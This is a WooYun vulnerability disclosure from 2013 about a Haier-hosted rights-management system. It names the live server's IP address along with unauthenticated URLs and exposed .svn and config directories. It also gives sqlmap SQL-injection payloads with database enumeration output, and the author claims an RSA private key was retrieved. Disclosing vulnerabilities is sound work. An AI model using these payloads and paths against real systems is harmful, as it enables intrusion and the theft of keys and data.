当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-037768

漏洞标题：海尔集团某企业级数据安全管理系统SQL注入、目录遍历及未授权访问漏洞打包

相关厂商：海尔集团

漏洞作者： 霍大然

提交时间：2013-09-22 13:49

修复时间：2013-11-06 13:50

公开时间：2013-11-06 13:50

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-09-22： 细节已通知厂商并且等待厂商处理中
2013-09-22： 厂商已经确认，细节仅向厂商公开
2013-10-02： 细节向核心白帽子及相关领域专家公开
2013-10-12： 细节向普通白帽子公开
2013-10-22： 细节向实习白帽子公开
2013-11-06： 细节向公众公开

简要描述：

某企业级数据安全管理系统SQL注入、目录遍历及未授权访问漏洞打包，已拿到私钥文件,求20rank.

详细说明：

问题站点：
http://58.56.128.139:9999

8.PNG


要安装证书，我就不安装了，可以看到是思智ERM管理中心
百度了下：
思智ERM （Enterprise Right Management ）是针对于企业级用户的数据安全管理系统。它不但能够对 Microsoft Office 、 CAD 、 PDF 等任意格式的电子文档及设计图纸进行加密保护，并且能够对加密的文件进行细分化的应用权限设置和备份保护。确保企业的机密数据只能被经过授权的人，在授权的应用环境中（例如企业内部），在指定的时间内，进行指定的应用操作，并且整个过程会被详细、完整的记录下来。
一、未授权访问
http://58.56.128.139:9999/dev_password.php

8-1.PNG


http://58.56.128.139:9999/user_rapid_bind.php

8-2.PNG


http://58.56.128.139:9999/php/WebDocList.php

8-3.PNG


点击“新建word文档”，出现如下界面：

8-4.PNG


还有好多，不举例了。
二、目录遍历
http://58.56.128.139:9999/auditfile/
http://58.56.128.139:9999/config/ 导致svn配置文件遍历下载了

8-5.PNG


http://58.56.128.139:9999/.svn/

8-6.PNG


好多，不举例了。
三、sql注入
注入点：
http://58.56.128.139:9999/audit_client_query.php?userid=1 (GET)
---
Place: GET
Parameter: userid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: userid=1 AND 5292=5292
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: userid=-9648 UNION ALL SELECT CHAR(113)+CHAR(100)+CHAR(122)+CHAR(118)+CHAR(113)+CHAR(113)+CHAR(102)+CHAR(104)+CHAR(70)+CHAR(81)+CHAR(69)+CHAR(114)+CHAR(75)+CHAR(82)+CHAR(107)+CHAR(113)+CHAR(120)+CHAR(108)+CHAR(105)+CHAR(113)--
---
web server operating system: Windows
web application technology: Apache 2.2.11, PHP 5.2.9
back-end DBMS: Microsoft SQL Server 2000
available databases [7]:
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] sageerm4
[*] tempdb
业务表如下：

8-7.PNG

漏洞证明：

通过注入可以得到rsa的私钥文件：

8-8.PNG


密钥相关的一些东西：

8-9.PNG

修复方案：

1、禁止目录遍历，在IIS中少打个勾即可；
2、应用方面的未授权访问及sql注入还是打厂家吧。

版权声明：转载请注明来源 霍大然@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2013-09-22 15:42

厂商回复：

首先感谢 @霍大然 的工作。
业务部门答复为：目前所涉及用户不超过40人，服务器为外协服务器，无海尔内部资料，也无重要资料。预计三天之内解决，谢谢。从业务性上看顶多是个中，不过既然求20rank了，那就给吧。
请各位白帽子持续友好监督海尔信息安全工作，非常感谢。

最新状态：

暂无

漏洞评价：

评论

  1. 2013-09-22 15:45 | 霍大然 ( 普通白帽子 | Rank:1136 漏洞数:178 | W币花完了，刷分还是不刷？)

    @海尔集团 什么叫厚道，什么叫大气！

  2. 2013-09-23 17:49 | Leon ( 路人 | Rank:25 漏洞数:6 | 永无宁日啊)

    @海尔集团 顶。。 可是，你说语句要三天解决，，那说明 这个问题对你来说是很麻烦的了。。我还没处理过要三天才能处理的漏洞。。。。

  3. 2013-10-12 17:25 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1：5 无限量收 [平台担保])

    @Leon 企业处理流程比较繁琐，很难说立刻解决某个问题，除非非常严重紧急